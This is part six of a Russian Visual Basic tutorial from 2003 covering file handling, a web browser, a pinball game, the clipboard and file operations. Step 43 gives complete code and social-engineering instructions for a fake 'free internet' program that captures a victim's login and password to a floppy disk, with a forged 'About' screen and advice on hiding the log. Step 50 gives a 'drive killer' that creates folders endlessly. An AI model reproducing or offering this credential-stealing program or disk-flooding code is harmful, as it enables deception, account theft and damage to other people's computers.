Программируем на Visual Basic'e:

Часть 1/Часть 2/Часть 3/Часть 4/Часть 5/Часть 6/Часть 7/Часть 8/Часть 9/ Часть 10 /Часть 11/Часть 12/Часть 13 /Часть 14/Часть 15/Часть 16 /Часть 17 /Часть 18

ШАГ 41:

Запуск файлов

Для запуска файлов есть функция Shell. Синтаксис:
Shell "[cmd /X /C] start Путь к файлу", [фокус](не обязательно)
Пример:
Для винда 98(95,Me..):
Shell "start c:\1.txt", vbHide
Для виндусов XP:
Shell "cmd /X /C start c:\1.txt", vbHide

ШАГ 42:

Работа с файлами. Введение:

В этом разделе я расскажу о файлах, верней не о них, а как с ними работать, т.е. открывать, изменять, кидать...
Для открытия файлов(НЕ ЗАПУСКА!!!) есть функция open:

open "имя файла" for режим as номер канала
Функции для работы с файлами
Close Номер св. канала

Имя файла - полный путь к файлу(если файл находится в той же папке где и сама программа, то можно написать просто имя файла(например, 1.txt))
Режим - режим открытия файла, есть около 7 режимов, но в этом шаге мы рассмотрим только 3 основных:
1. Input - служит для чтения данных из файла, если файла не существует, то происходит ошибка
2. Append - файл открывается(НЕ ДЛЯ ЧТЕНИЯ!!!) для записи, если файла не существует, то он создается. Если в файле уже есть какие либо данные, то запись идет в конец этих данных.
3. Output - файл открывается(НЕ ДЛЯ ЧТЕНИЯ!!!) для записи, если файла не существует, то он создается. Все данные которые были в файле стираются, и запись идет в "чистый файл"
Номер канала - это номер канала открываемого файла, если номер открываемого файла уже открыт, то происходит ошибка

ШАГ 42:

Работа с файлами. Продолжение:

Запись:
Для записи текста служит функция Print(и Write)
Open "c:\1.txt" For Append As #1 'Открываем файл для добавления записи, с номером канала 1
Print #1, "Твой ТЕКСТ"' Записываем в файл 1.txt текст
Close #1 'Закрываем файл

Есть еще функция для определения свободного канала - FreeFile. Например:
f = FreeFile 'Возвращает номер свободного канала
Open "c:\1.txt" For Append As f 'Открываем файл для добавления записи
Print #f, "Твой ТЕКСТ"'Записываем в файл 1.txt текст
Close #f 'Закрываем файл

Чтение:
Считать данные из файла сложнее чем записать. Есть два способа чтения данных из файла. Первый:

f = FreeFile
Open "c:\1.txt" For Input As f' Открываем файл 1.txt для чтения
Text1.Text = Input(LOF(f), f) 'Считываем текст из открытого файла в текстовое поле(Оператор LOF(Len Of File) определяет длину файла)
Close f

Второй:

Dim txt as String

Open "c:\1.txt" For Input As #1' Открываем файл 1.txt для чтения
Do While Not EOF(1) ' Функция EOF(End Of File) проверяет, достигнут ли конец файла
Line Input #1, txt ' Читаем строку данных
Text1.Text = txt
Loop
Close #1

ШАГ 43:

Развод ламеров. Халявный инет.

Вся радость в том, что ламер будет думать что он дурит провайдера, а на самом деле будут дурить его. Хе - Хе. Ламер сам напишет тебе пароль, и скинет тебе его на дискету. Ты дашь ему программу, и скажешь, что эта программа нужна для того чтоб в инете на халяву сидеть. Он спросит: “ а у тебя получилось", ты ему скажешь: "Да, конешно работает, а если не работала, то я тебе ее не дал бы"... Ну для большей убедительности расскажешь ему о ней (речь сам придумаешь). Он впишет свой пароль и логин, и комп сохранит их на дискету. Учитывается то, что ламер будет вводить в начале не свой пароль, но это неважно, когда - нибуть он свой введет, и все его записи сохранятся на дискете, потом ты придешь домой, проверишь все его записи, и по какой - нибуть войдешь.
Ну что начнем? На форму кидаем 2 кнопки,2 текстовых поля,3 метки, ну и сделаем меню для большей убедительности. У первой кнопки свойство Caption будет Ввод, у второй Выход; у текстовых полей убираем свойство Text; у первой метки свойство Caption будет Password, у второй Login, а у 3 Халявный Интернет; у меню сделаем 2 раздела, первый раздел по традиции свойство Caption будет файл, а у второго Справка. У первого раздела первого подраздела свойство Caption будет выход, а у второго раздела, первого подраздела свойство Caption будет Вызов справки, а у второго подраздела О программе. Да чуть не забыл, нам надо добавить еще одну форму, для этого нажми на Add Form, эта фенька находится около кнопки создание меню, под разделом Edit. Короче у тебя должна получиться такая штука:
Private Sub Command1_Click() 'При нажатии на кнопку Ввод:
MsgBox "Не установлено соединение или неправильно введен пароль", 48, "Ошибка при соединение" 'Появится ошибка, с сообщением о неправильных действиях ламера, если ламер введет не правильный (или правильный) пароль и логин, то появится ошибка, и когда - нибуть он введет правильный...
d = FreeFile
Open "a:\1.txt" For Append As d 'Открываем файл для записи, в него будут записываться данные ламера. Стоит диск a:, это для того чтоб привязать программу к дискете, и тогда ламер не сможет скинуть ее себе на комп, и когда он отдаст тебе дискету, ты прочтешь все его записи.
Print #d, Text1.Text; Tab; Text2.Text 'Записываем данные, которые ламер введет в текстовые поля
Close #d 'Закрываем файл
End Sub

Private Sub Command2_Click() 'При нажатии на кнопку 2:
End 'Выходим из программы, можно и с помощью Unload Me
End Sub
Private Sub ав_Click()
End 'При выборе Файл/Выход программа отрубается:
End Sub

Private Sub см_Click() 'При нажатии на кнопку 3(О программе):
Form2.Show 'Показываем Form2
End Sub

Теперь займемся оформлением Формы 2.На форму 2 закинем 4 метки: У первой свойство Caption будет О программе. У второй будет: "Программа ломает твоего провайдера, через порт TCP/IP; за каждый заход тебе на карту зачисляется 0.25 y.e., это оптимальная сумма для всех карт. Например, у MTU можно снять за раз 0.27 y.e., а у ROL 0.33 y.e., это зависит от скорости обновления сервера. После нажатия на Ввод появится сообщение о успешном взломе, и в течение 3 минут постарайтесь выйти из интернета. Где - то через 10 - 15 мин. опять можете повторять операцию.". У третьей: "Автор проекта не несет ни какой ответственности за использование программы", и эту метку надо сделать красным цветом. У четвертой: "Дата создания: 10/07/02".У пятой: "Автор: Падре". Все это нужно для большей убедительности. У тебя должна получиться такая фенька.

Ну вот и все!!! Теперь подсунь ее какому - нибуть ламеру. Не забудь скрыть текстовой файл, можешь поменять ему расширения, например записать не 1.txt, 1.lamer, и тогда ламер не додумается его открыть, даже если его найдет. А ты сможешь открыть его, если кликнешь на него два раза, и в открывшимся окне "Открыть с помощью", выбери Noterpad(Блокнот) Исходник можешь скачать отсюда

ШАГ 44:

Делаем Cвой Инет Броузер:

Ну как я и обещал, будем делать свой инет броузер. Подключи компонент Microsoft Internet Controls. На форму кинь WebBrowser(назови его WB), 4 кнопки(у 1ой Caption = "Назад", у 2ой = "Вперед", у 3ей = "Домой", у 4ой = "Обновить"), метку(Caption = "Адрес:", AutoSize = True(это чтоб размеры метки регулировались автоматом)), и текстовое поле(Caption="http://"). Вот что у тебя должно было появиться:



Private Sub Command1_Click() ' Кнопка назаD
WB.GoBack
End Sub

Private Sub Command2_Click() ' Кнопка вперед
WB.GoForward
End Sub

Private Sub Command3_Click() ' Кнопка Домой
WB.GoHome
End Sub

Private Sub Command4_Click() ' Кнопка Обновить
WB.Refresh
End Sub

Private Sub Form_Resize() ' При изменении размера формы меняем размер WB
WB.Left = 20
WB.Top = 1080
WB.Width = Form1.Width - 140
WB.Height = Form1.Height - 1500
End Sub

Private Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then ' Если нажата клавиша Enter то:
WB.Navigate Text1.Text ' Открываем введенный в текстовое поле адресс
' Меняем заголовок формы
Form1.Caption = ""
Form1.Caption = Text1.Text & Form1.Caption
End If
End Sub

Исходник качай здесь

ШАГ 45:

Делаем PineBall:

На форму кинь кнопку(Enabled = False), Picture(Enabled = False, AutoSize = True, BorderStyle = "0 - None"), Timer(Interval = 1). Вот что у тебя должно получиться:

Вот код:

Dim BallTop As Boolean 'Тип Boolean озночает то что переменная может принемать только 2 значения True и False
Dim Q As Boolean, Q1 As Boolean

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
' если нажата кнопка "вправо", то бита едет вправо
If KeyCode = 39 Then
Bita1.Left = Bita1.Left + 120
End If
' если нажата кнопка "влево", то бита едет влево
If KeyCode = 37 Then
Bita1.Left = Bita1.Left - 120
End If
End Sub

Private Sub Timer1_Timer()
If BallTop = False Then ' Если BallTop = False то шар скачет вниз
Ball.Top = Ball.Top + 30
Else 'Если BallTop = True то шар едет вверх
Ball.Top = Ball.Top - 30
End If

If Ball.Left - Bita1.Left < 150 And Ball.Left - Bita1.Left > -320 And Bita1.Top <= Ball.Top + 300 Then ' Здесь начало вроде понятно, а в конце я написал Ball.Top + 300 это чтоб мяч ударялся об верх биты
BallTop = True ' Пускаем шар вверх
Q = True '' И влево
End If
If Q = True Then ' Если Q = True то мяч скачет влево
Ball.Left = Ball.Left - 60
End If
If Q1 = True Then ' Если Q1 = True то мяч скачет влево
Ball.Left = Ball.Left + 60
End If

If Ball.Left <= 0 Then ' Если мяч ударяется об левую стенку то меняем его направление
Q = False
Q1 = True
End If
End Sub

Эту программу сам доделай, а то скопировать код любой может(даже я :-)), а вот до делать...
Исходник качай здесь

ШАГ 46:

Работа с Буфером ОБМЕНА

Для работы с буфером обмена есть объект Clipboard, с его помощью можно копировать в буфер, и брать из буфера текст и картинки. У этого объекта всего 6 свойств.
Начнем с работой с текстом:
Для работы с текстом есть 2 свойства, это GetText(Чтение текста из буфера), и SetText(копирование в буфер). Сделаем программу, которая будет повторять часть раздела меню Правка во многих текст. редакторах(а если точнее, то кнопки: Вставить, Копировать, Удалить, Вырезать). На форму кинь 4 кнопки(у 1ой - Caption = "Вырезать", у 2ой = "Копировать", у 3ей = "Вставить", у 4ой = "Удалить"), и текстовое поле. Вот код:

Private Sub Command1_Click() ' Вырезать
Clipboard.SetText Text1.Text ' Копируем в буфер содержимое текстового поля
Text1.Text = "" ' Очищаем текст. поле
End Sub

Private Sub Command2_Click() ' Копировать
Clipboard.SetText Text1.Text ' Копируем в буфер содержимое текстового поля
End Sub

Private Sub Command3_Click() ' Вставить
Text1.Text = Clipboard.GetText ' Вставляем в текстовое поле содержимое буфера
End Sub

Private Sub Command4_Click() ' Удалить
Text1.Text = "" ' Очищаем текст. поле
End Sub

Теперь о работе с изображениями.
Для копирования картинки в буфер есть объект SetData, для чтения GetData. Усовершенствуем пред. пример, добавив на форму 2 кнопки(у 5ой caption = "Копировать", у 6ой = "Вставить"), и 2 Picture(Из Picture1 мы будем копировать изображение, и вставлять его в Picture2). Код:

Private Sub Command5_Click() ' Копировать рисунок
Clipboard.Clear ' Очищаем буфер(для этого есть метод Clear)
Clipboard.SetData Picture1.Picture ' Записываем в буфер изображение из Picture1
End Sub

Private Sub Command6_Click() ' Вставить рисунок
Picture2.Picture = Clipboard.GetData ' Читаем в объект Picture2 изображение из буфера
End Sub

Исходник здесь

ШАГ 47:

Задание:

Я тебя готовил к этому на протяжении 4 частей, и подготовил. Твоя миссия будет заключаться в создании блокнота, да не просто блокнота, а Чудо Блокнота. Короче ты должен нанести тяжелый удар по Microsoft, чтоб они затрепищали... Ты должен сделать обычный блокнот, но с часами (до этого даже Билл Гейц не додумался:-))). Потом отправляешь его в компанию Microsoft, получаешь бабло, и 50% отдаешь мне. Ну что договорились? Отлично! Только бабки присылай НЕ ЧЕКОМ, а наличкой....

ШАГ 48:

Создание папок

Для создания папок есть функция MKDir
MkDir "c:\44" 'Создаем папку 44

ШАГ 49:

Удаление & Копирование & Перемещение & Переименование файлов


Для удаления файлов служит функция Kill "имя файла"
Kill "c:\1.txt" 'Удаляем файл 1.txt

Для копирования файлов есть функция FileCopy "дирек1","дирек2"
FileCopy "c:\1.txt", "c:\1\1.txt" 'Копируем файл 1.txt из c:\ в c:\1\

Для перемещения файлов Злой Дядька Билл Гейц сделал функцию Name "дирек1\Имя файла" as "дирек2\Имя файла"
Name "c:\1.bmp" As "c:\1\1.bmp" 'Перемещаем файл 1.BMP из диска c:\ в c:\1.bmp

Переименование файлов делается также как и перемещение.
Name "c:\1.bmp" As "c:\22.bmp" 'Переименовываем файл 1.bmp в 22.bmp

ШАГ 50:

Делаем Убийцу Винта

Dim papka As Long ' вводим переменную papka, для подсчета номера папки
Private Sub Form_Load()
papka = 0
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
On Error Resume Next ' если происходит ошибка при создании папки, то игнорируем ее
MkDir "C:\Папка №" & papka ' создаем папку с номером равным переменной papka
papka = papka + 1 ' Это что - то типо счетчика, каждый раз на один больше
End Sub


Шестая часть

автор учебника: Падре
Дата создания: 9 Марта 2003 года

Место под Банеры

MS Visual Basic